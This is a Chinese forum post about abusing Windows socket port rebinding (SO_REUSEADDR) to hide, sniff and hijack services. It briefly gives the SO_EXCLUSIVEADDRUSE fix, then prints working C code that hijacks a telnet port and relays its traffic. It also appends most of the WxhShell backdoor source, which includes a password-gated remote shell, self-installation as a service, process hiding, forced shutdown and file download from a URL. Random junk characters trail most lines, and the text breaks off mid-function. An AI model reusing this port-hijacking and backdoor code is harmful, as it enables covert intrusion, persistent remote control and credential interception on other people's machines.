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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: = iB0ak  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P`v%< 9~  
L!|c: 8  
  saddr.sin_family = AF_INET; XwOj`N{!H  
o6P)IZ1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); M@[{j  
hug8Hhf_&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q4JwX=ZVj  
5#p [Q _  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .36z  
C%85Aq*4  
  这意味着什么?意味着可以进行如下的攻击: T+8F'9i`  
O{y2tz3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~3dBt@%0  
' ^^]Or  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O~.A}  
DI'wZySS^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .Vj;[p8  
-5l74f!i  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *6cP-Vzd  
CL5u{i5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cfyN)#9  
P PZxH}J.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L&+XFntR  
d}GO(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yk5-@qo  
4nzUDeI3MG  
  #include s(q\!\FS  
  #include )zkk%mE/IM  
  #include <v&>&;>3  
  #include    dW Y0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7rw}q~CE5  
  int main() IKb 7#Ut  
  { lwIU|T<4  
  WORD wVersionRequested; 6 :K~w<mMJ  
  DWORD ret; %,g6:Zc@  
  WSADATA wsaData; D0/ \  
  BOOL val; NYz{ [LM  
  SOCKADDR_IN saddr; e*;-vS9H  
  SOCKADDR_IN scaddr; i9[=x(-@  
  int err; :(VD<"X  
  SOCKET s; 5 5>^H1M  
  SOCKET sc; h`F8GNx(  
  int caddsize; Gdq_T*  
  HANDLE mt; f7mP4[+dS  
  DWORD tid;   "15mOW(!+  
  wVersionRequested = MAKEWORD( 2, 2 ); qP-*  
  err = WSAStartup( wVersionRequested, &wsaData ); Ouc=4'$-  
  if ( err != 0 ) { K]yCt~A$  
  printf("error!WSAStartup failed!\n"); J~9l+?  
  return -1; H.qp~-n  
  } m7Nm!Z7  
  saddr.sin_family = AF_INET; ]e@'9`G-'  
   P(8zJk6h),  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %,Xs[[?i  
N%'=el4L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); OWT5Bjl  
  saddr.sin_port = htons(23); 3#}5dO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ' \Z54$  
  { cd)yj&:?Bt  
  printf("error!socket failed!\n"); :jKD M  
  return -1; pi[:"}m]/P  
  } /xj^TyWM  
  val = TRUE; f8'D{OP"G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8*V^DM3n-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 02q]^3  
  { fFudoIC  
  printf("error!setsockopt failed!\n"); ,d'x]&a  
  return -1; 7Rqjf6kX`O  
  } ("rIz8b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Fwfe5`9'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Oo`b#!L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ealh>Y  
[0-zJy|,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Jm {~H%  
  { R:FyCT_,  
  ret=GetLastError(); *l\vqgv.Z  
  printf("error!bind failed!\n"); zP;1mN  
  return -1; u9^R ?y  
  } _.ELN/$-  
  listen(s,2); $jKeJn8,  
  while(1) jHWJpm(  
  { _<P~'IN+n  
  caddsize = sizeof(scaddr); :>GT<PPD;  
  //接受连接请求 %Q[+bN[/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m[!AOln)  
  if(sc!=INVALID_SOCKET)  zFk@Y  
  { :fE*fU@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `<kV)d%xEF  
  if(mt==NULL) MB] Y|Vee  
  {  {r?qI  
  printf("Thread Creat Failed!\n"); ^_^rI+cTX1  
  break; -"Q[n,"Y  
  } Y'S9   
  } X>6VucH{\  
  CloseHandle(mt); 9,;+B8-A  
  } R@H}n3,  
  closesocket(s); BlvNBB1^  
  WSACleanup(); !WReThq  
  return 0; h8uDs|O9n  
  }   u:7=Yy :  
  DWORD WINAPI ClientThread(LPVOID lpParam) _ Oe|ZQ  
  { gDJ@s    
  SOCKET ss = (SOCKET)lpParam; *tZ#^YG{(  
  SOCKET sc; .1C|J  
  unsigned char buf[4096]; rO`n S<G  
  SOCKADDR_IN saddr; |;B 'C#  
  long num; \ml6B6  
  DWORD val; DLrG-C33  
  DWORD ret; 6lc/_&0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Fttny]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4ng*SE _  
  saddr.sin_family = AF_INET; P$|DiiH  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mmn1yX:d  
  saddr.sin_port = htons(23); k^PqB+P!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (B zf~#]~  
  {  YErn50L  
  printf("error!socket failed!\n"); 7F{=bL  
  return -1; @tLoU%  
  } ^2PQ75V@.  
  val = 100; l C|{{?m  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +/Lf4??JV  
  { fKY1=3  
  ret = GetLastError(); ~-w  
  return -1; <#9zc'ED:  
  } /@bLc1"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~Zd n#z\  
  { r,4V SyZF\  
  ret = GetLastError(); 9/k?Lv  
  return -1; Ueyt}44.e2  
  } D{,B[5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "lf_`4  
  { ]41G!'E=  
  printf("error!socket connect failed!\n"); uhLg2G^h  
  closesocket(sc); ^JMSe-  
  closesocket(ss); :6z0Ep"  
  return -1; BVC{Zq6hi  
  } Fq5);sX=  
  while(1) 0OMyE9jJJ  
  { []Z| *+=Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (;T; ?v`-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1LjYV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s geP`O%  
  num = recv(ss,buf,4096,0); <>JDA(F"  
  if(num>0) >gr6H1  
  send(sc,buf,num,0); !P!|U/|c  
  else if(num==0) [VPqI~u5)  
  break; y tmlG%  
  num = recv(sc,buf,4096,0); 1*r {%6  
  if(num>0) FK#>E[[  
  send(ss,buf,num,0); lm&C!{K  
  else if(num==0) ~::gLm+f  
  break; 9& W\BQ  
  } 7OOB6[.fu  
  closesocket(ss); R^F99L  
  closesocket(sc); %;zWS/JhL  
  return 0 ; DZXv3gnX  
  } nu$LWC-  
|"P5%k#6^>  
P N_QK Z  
========================================================== &K^h'>t'  
_V{WXsOx(  
下边附上一个代码,,WXhSHELL =dX*:An  
/:e|B;P`k  
========================================================== .#h ]_%  
F,O+axO ja  
#include "stdafx.h" @Ds?  
xsFWF*HPs  
#include <stdio.h> DI}h?Uf ,  
#include <string.h> !T0IMI  
#include <windows.h> RkLH}`#  
#include <winsock2.h> XR\ iQ  
#include <winsvc.h> >CPkL_@VZ=  
#include <urlmon.h> IHo6&  
%1HW ) 7  
#pragma comment (lib, "Ws2_32.lib") X2i<2N*@  
#pragma comment (lib, "urlmon.lib") eS@RA2  
f8?K_K;\   
#define MAX_USER   100 // 最大客户端连接数 <$D)uY K  
#define BUF_SOCK   200 // sock buffer J&a887  
#define KEY_BUFF   255 // 输入 buffer o D* '  
;gm){ g  
#define REBOOT     0   // 重启 &r<<4J(t  
#define SHUTDOWN   1   // 关机 8`VMdo9  
\hM6 ykY-  
#define DEF_PORT   5000 // 监听端口 >uOc#+5M.  
v& XG4 &  
#define REG_LEN     16   // 注册表键长度 4g1u9Sc0  
#define SVC_LEN     80   // NT服务名长度  b9y E  
ooZ7HTP|  
// 从dll定义API V7401@F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A{6ZEQAh>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S|]~,l2]}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dIO\ lL   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }UGPEf\  
J*U(f{Q(  
// wxhshell配置信息 "-xC59,  
struct WSCFG { :{66WSa@Dd  
  int ws_port;         // 监听端口 KH KqE6  
  char ws_passstr[REG_LEN]; // 口令 &`TX4b^/!  
  int ws_autoins;       // 安装标记, 1=yes 0=no =_yOX=g|  
  char ws_regname[REG_LEN]; // 注册表键名 DR0W)K ^  
  char ws_svcname[REG_LEN]; // 服务名 <O>Q;}>gfc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Zo0&<QWj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  Uero!+_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ew;<iY[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )%tf,3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bY>o%LL-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2s{yg%U(  
R9CAw>s  
}; Ew:JpMR  
XbH X,W$h  
// default Wxhshell configuration `z=MI66Nl  
struct WSCFG wscfg={DEF_PORT, <![T~<.  
    "xuhuanlingzhe", ZY/at/v  
    1, ;C"J5RA  
    "Wxhshell", p-7dJ  
    "Wxhshell", v}_$9&|S  
            "WxhShell Service", /BIPLDN6  
    "Wrsky Windows CmdShell Service", If&p$pAH?  
    "Please Input Your Password: ", kcYR:;y  
  1, M}5C;E*  
  "http://www.wrsky.com/wxhshell.exe", THu a?,oyW  
  "Wxhshell.exe" 7k$8i9#  
    }; _+;x 4K;  
z{n=G  
// 消息定义模块 S&=B&23T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !X.N$0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; by06!-P0[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _&z>Id`w  
char *msg_ws_ext="\n\rExit."; 0"QE,pLe4  
char *msg_ws_end="\n\rQuit."; 7CIje=u.q  
char *msg_ws_boot="\n\rReboot..."; g]ihwm~  
char *msg_ws_poff="\n\rShutdown..."; ,5\n%J:  
char *msg_ws_down="\n\rSave to "; Z9sg6M@s  
8@qahEgQ  
char *msg_ws_err="\n\rErr!"; NFSPw` f  
char *msg_ws_ok="\n\rOK!"; AjlG_F  
hNoN=J  
char ExeFile[MAX_PATH]; ^Ue.9#9T&g  
int nUser = 0; Rp<Xu6r  
HANDLE handles[MAX_USER]; rb_G0/R  
int OsIsNt; OKU P  
SA&wW\Ym]  
SERVICE_STATUS       serviceStatus; n)=&=Uj`f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \D[BRE+  
53T2w,?  
// 函数声明 16+@#d%#p  
int Install(void); K7l{&2>?  
int Uninstall(void); AHA*yC  
int DownloadFile(char *sURL, SOCKET wsh); .6"7Xxe]<  
int Boot(int flag); an7N<-?  
void HideProc(void); f@}(<#  
int GetOsVer(void); o+t?OG/0  
int Wxhshell(SOCKET wsl); M)xK+f2_[  
void TalkWithClient(void *cs); )b7mzDp(  
int CmdShell(SOCKET sock); dG rA18  
int StartFromService(void); ='JX_U`A^F  
int StartWxhshell(LPSTR lpCmdLine); *= 71/&B  
z]WT>4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); + mcN6/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2 g8PU$T  
oD8-I^  
// 数据结构和表定义 5cADC`q  
SERVICE_TABLE_ENTRY DispatchTable[] = Qm-P& g-  
{ gky_]7Av  
{wscfg.ws_svcname, NTServiceMain}, 'IP!)DS  
{NULL, NULL} hnZHu\EJ  
}; |}}]&:w2  
)6j:Mbz   
// 自我安装 +?<jSmGW  
int Install(void) g\.N>P@Bu  
{ b#m47yTW9<  
  char svExeFile[MAX_PATH]; Gs6 #aL}]R  
  HKEY key; r%#qbsN  
  strcpy(svExeFile,ExeFile); d;^?6V  
7h<K)aT  
// 如果是win9x系统,修改注册表设为自启动 S'O0'5U@  
if(!OsIsNt) { JU@$(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,J^Op   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /LD*8 a  
  RegCloseKey(key); <D^x6{}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cm3Y!p{p"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'SieZIm)  
  RegCloseKey(key); st2>e1vg  
  return 0; 3u^TJt)  
    } (wfg84  
  } }';&0p2Z  
} kT1lOP-Bg  
else { VJ"3G;;  
>guQY I@4,  
// 如果是NT以上系统,安装为系统服务 ah92<'ix  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H6O\U2+  
if (schSCManager!=0) zaZ}:N/w(z  
{ @}gdOaw  
  SC_HANDLE schService = CreateService n`,Q:  
  ( kUt9'|9!  
  schSCManager, Rv-o__C!  
  wscfg.ws_svcname, 39j d}]e  
  wscfg.ws_svcdisp, q{ hq.KZ  
  SERVICE_ALL_ACCESS, $ T4PC5.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |-fx 0y   
  SERVICE_AUTO_START, f h^_=R(/  
  SERVICE_ERROR_NORMAL, O2G+ '  
  svExeFile, Kv]6 b2HT  
  NULL, +XE21hb   
  NULL, ]G B},  
  NULL, A E711l-  
  NULL, ASvPr*q/  
  NULL 6{ Nbe=  
  ); [1C#[Vla  
  if (schService!=0) XbC8t &Q],  
  { &J b.OCf  
  CloseServiceHandle(schService); j r[~  
  CloseServiceHandle(schSCManager); .;2!c'mT9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IT(c'}  
  strcat(svExeFile,wscfg.ws_svcname); t}7wR TG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m}9V@@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DR /)hAE  
  RegCloseKey(key);  vt N5{C  
  return 0; >I?Mi{'a  
    } Bkc-iC}F  
  } ^H4i Hjg  
  CloseServiceHandle(schSCManager); A 5 X+Z  
} .y/b$|d,  
} $D5U#  
u B\& Q;  
return 1; l8-jFeeMd  
} xgz87d/<:  
|^Es6 .~  
// 自我卸载 2M?lgh4"  
int Uninstall(void) w8 $Qh%J'<  
{ %SGO"*_  
  HKEY key; x]oQl^ F  
Q*.FUV&;  
if(!OsIsNt) { @<G/H|f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (w eokP!  
  RegDeleteValue(key,wscfg.ws_regname); F9\Ot^~  
  RegCloseKey(key); \z9?rvT:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X{}#hyYk"  
  RegDeleteValue(key,wscfg.ws_regname); 4E>(Y98  
  RegCloseKey(key); Y:,R7EO{!  
  return 0; }i&dZTBGW  
  } "yTh +=  
} a*j <TR  
} ogqV]36Idh  
else { wsrx|n[]  
V|\A?   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eC?/l*gF 3  
if (schSCManager!=0) 0>=)  
{ #2jn4>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *\KMkx  
  if (schService!=0) <IyLLQ+v  
  { w3qf7{b  
  if(DeleteService(schService)!=0) { !rg0U<bO!  
  CloseServiceHandle(schService); @>2rz  
  CloseServiceHandle(schSCManager); V6MT>T  
  return 0; 82za4u$q#  
  } 3:joSQa  
  CloseServiceHandle(schService); M/a/H=J  
  } C;q}3c*L  
  CloseServiceHandle(schSCManager); _(`X .D  
} mN{ajf)@  
} B" m:<@ "  
Kxc$wN<  
return 1; O2]r]9sh*  
} 8TZA T%4  
_MbVF>JOx  
// 从指定url下载文件 &8+6!TN7  
int DownloadFile(char *sURL, SOCKET wsh) V-;nj,.mY  
{ 3B".Gsm)X  
  HRESULT hr; v* ~%x  
char seps[]= "/"; CY3\:D0I  
char *token; 8[1DO1*P  
char *file; sN1*Zp'(  
char myURL[MAX_PATH]; :F>L;mp  
char myFILE[MAX_PATH]; s.;KVy,=Bu  
90iW-"l+[  
strcpy(myURL,sURL); l~4e2xoT  
  token=strtok(myURL,seps); /;nO<X:XV  
  while(token!=NULL) N~}v:rK>g  
  { V\K m% vP  
    file=token; ;D"P9b]9$  
  token=strtok(NULL,seps); }gi1?a59  
  } "gN*J)!x  
R%N#G<^R  
GetCurrentDirectory(MAX_PATH,myFILE); V> a3V'  
strcat(myFILE, "\\"); {<}I9D5  
strcat(myFILE, file); CDW(qq-zD  
  send(wsh,myFILE,strlen(myFILE),0); ]2\2/~l  
send(wsh,"...",3,0); 39T&c85  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3TiXYH  
  if(hr==S_OK) 7 Mki?EG  
return 0; O&gwr  
else 9[p }.9/  
return 1; r,.95@  
?Y0$X>nm  
} x|v[Dxf]  
}8V;s-1  
// 系统电源模块 H]i+o6  
int Boot(int flag) Iz?W tm }  
{ s/G5wRl<  
  HANDLE hToken; t66f 7AR  
  TOKEN_PRIVILEGES tkp; oa&US_  
m>uI\OY{n  
  if(OsIsNt) { Tc3ih~LvG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z<[.MH`ln  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U.pr} hq  
    tkp.PrivilegeCount = 1; @0UwI%.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8?j&{G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;sL6#Go?V  
if(flag==REBOOT) { QVSsi j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) + <!)k?  
  return 0; "`jZ(+  
} mU?&\w=v$  
else { o >Rw}R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v;bM.OL  
  return 0; U/3e,`c  
} uF]D  
  } #>E3'5b   
  else { &Qtp"#{  
if(flag==REBOOT) { f=_Bx2ub  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b#Fk>j  
  return 0; M=\d_O#;Z  
} (iCZz{l@~  
else { Nn,vdu{^2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K{= r.W  
  return 0; UPVO~hB;  
} '#McY'.D T  
} %|`:5s-T%  
$dx1[ V+_  
return 1; 6z p@#vYI  
} 6"7:44O;G  
c69U1  
// win9x进程隐藏模块 s=q%:uCO  
void HideProc(void) sxN>+v11z  
{ c ?p0#3%L#  
1%SJ1oY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |~/3u/  
  if ( hKernel != NULL ) ^^4K/XBve  
  { W;OYO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Jm]]>K8.3V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [.#p  
    FreeLibrary(hKernel); Io,/ +#|  
  } kH>vD = q>  
d6t)gG*5  
return; H;TOPtt2  
} +Dq|l}  
VGTeuu5i  
// 获取操作系统版本 HC9vc,Fp  
int GetOsVer(void) M]6w^\4j9  
{ c]%;^)  
  OSVERSIONINFO winfo; k Z+q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zH=/.31Q  
  GetVersionEx(&winfo); -+ ]T77r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jlRl2 #"  
  return 1; ,yHzo  
  else pjX%LsX\  
  return 0; u n?j  
} &# vk4C_8m  
DJ1XN pm  
// 客户端句柄模块 b[{m>Fa+o#  
int Wxhshell(SOCKET wsl) 4hsPbUx9  
{ Ad}-I%Ie  
  SOCKET wsh; .^[fG59  
  struct sockaddr_in client; Jo7fxWO_g  
  DWORD myID; DU/9/ I?~  
2_oK 5*j  
  while(nUser<MAX_USER) Zzw}sZ?8  
{ 5(iSOsb  
  int nSize=sizeof(client); IKMs Y5i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AND7jEn  
  if(wsh==INVALID_SOCKET) return 1; R\9>2*w  
dT0^-XSY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vWqyZ-p,q  
if(handles[nUser]==0) vI pO/m.3  
  closesocket(wsh); 3t"~F%4-}  
else nR,Qm=;  
  nUser++; @7Q*h   
  } RMS.1:O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3JlC/v#0  
T=eT^?v  
  return 0; ?VMi!-POE  
} G zJ9N`  
;H7EB`  
// 关闭 socket q5:0&:m$4$  
void CloseIt(SOCKET wsh) wo7N7R5  
{ AI^AK0.L  
closesocket(wsh); oTq%wi6 _  
nUser--; #6*V7@9]3|  
ExitThread(0); 6T^N!3p_  
} oJlN.Q#u&  
a-T*'F  
// 客户端请求句柄 O tXw/  
void TalkWithClient(void *cs) =,&u_>Dp  
{ G]L0eV  
) >>u|#@z  
  SOCKET wsh=(SOCKET)cs; 92P ,:2`a  
  char pwd[SVC_LEN]; 3n.+_jQ>s  
  char cmd[KEY_BUFF]; th.M.jas  
char chr[1]; k1^V?O  
int i,j; S`pF7[%rp  
*fxep08B  
  while (nUser < MAX_USER) { F`YFo)W  
X0^zw^2W  
if(wscfg.ws_passstr) { X)FL[RO%q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _N>wzkJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bl kSWW/  
  //ZeroMemory(pwd,KEY_BUFF); .K $p`WQ{  
      i=0; uHfhRc9  
  while(i<SVC_LEN) { lSZ"y Q+  
+ $k07mb\  
  // 设置超时  O]e6i%?  
  fd_set FdRead; )HJK '@  
  struct timeval TimeOut; + 6x"trC  
  FD_ZERO(&FdRead); ^z[_U}N\}  
  FD_SET(wsh,&FdRead); q1N4X7<_  
  TimeOut.tv_sec=8; JiKImz  
  TimeOut.tv_usec=0; [WcS[](ob  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?~F]@2)5w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2"T8^r|U  
98D{{j92  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X?KGb{  
  pwd=chr[0]; Y h^WTysBn  
  if(chr[0]==0xd || chr[0]==0xa) { 2B6^ ]pSk  
  pwd=0; EG F:xl  
  break; TZ^{pvBy  
  } (P2[5d|  
  i++; NJ >I%u*  
    } tH-gaDj_  
@Djs[Cs<*  
  // 如果是非法用户,关闭 socket '9^E8+=|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l0gH(28K  
} \ua9thOG  
YH6snC$u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 929#Q#TT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PqTYAN&F  
S|l&fb n  
while(1) { g;$E1U=R-E  
CoKiQUW  
  ZeroMemory(cmd,KEY_BUFF); kBrvl^D{5  
(&q@~ dJ  
      // 自动支持客户端 telnet标准   ;_x2 Ymw  
  j=0; *hV4[=  
  while(j<KEY_BUFF) { >r~0SMQr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tsu\oJ[  
  cmd[j]=chr[0]; 7}gA0fP9  
  if(chr[0]==0xa || chr[0]==0xd) { 7^HpVcSM  
  cmd[j]=0; 3 Q@9S  
  break; `hzd|GmX  
  } `$H7KIG  
  j++; EH(tUwY%{  
    } K/DH / r  
p#)e:/Qy  
  // 下载文件 GX7VlI[  
  if(strstr(cmd,"http://")) { ~Hs=z$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %j%%Rn  
  if(DownloadFile(cmd,wsh)) X#VEA=4{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ec+22X  
  else #sL/y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -H4PRCDH  
  } X!o@f$  
  else { "=FIFf  
FWIih5 3`  
    switch(cmd[0]) { "X`Qe!zk4  
  vnDmFqelz  
  // 帮助 4yhcK&  
  case '?': { O(odNQy~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :sFo  
    break; &ryiG  
  } [ ynuj3G V  
  // 安装 av)?>J~;  
  case 'i': { ^[0" vtb  
    if(Install()) Rb?~ Rs\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y!F:m=x<  
    else :u AjV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tO7I&LNE  
    break; bZu$0IG  
    } L,6MF,vx  
  // 卸载 6I"C~&dt  
  case 'r': { ad9EG#mD#  
    if(Uninstall()) f:S}h-AL&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A3j"/eKi2  
    else )x)gHY8;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); % ^e@`0L  
    break; 3<+z46`?  
    } a`s/qi  
  // 显示 wxhshell 所在路径 =ydpU<aS  
  case 'p': { <W?WUF  
    char svExeFile[MAX_PATH]; 7O"hiDQ  
    strcpy(svExeFile,"\n\r"); ("b*? : B  
      strcat(svExeFile,ExeFile); %Or2iuO%-,  
        send(wsh,svExeFile,strlen(svExeFile),0); _nP)uU$  
    break; ghX:"vV{n  
    } o7J{+V  
  // 重启 Q]^Yi1PbS  
  case 'b': { 6oYIQ'hc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7pz\ScSe  
    if(Boot(REBOOT)) ]?M)NRk%S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CGkI\E  
    else { 1b8c67j[  
    closesocket(wsh); ;KL9oV!<f  
    ExitThread(0); C>NQ-w^  
    } >r=6A   
    break; ZOC#i i`:  
    } svqvG7  
  // 关机 k},>^qE  
  case 'd': { e+l\\9v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vcwK6G  
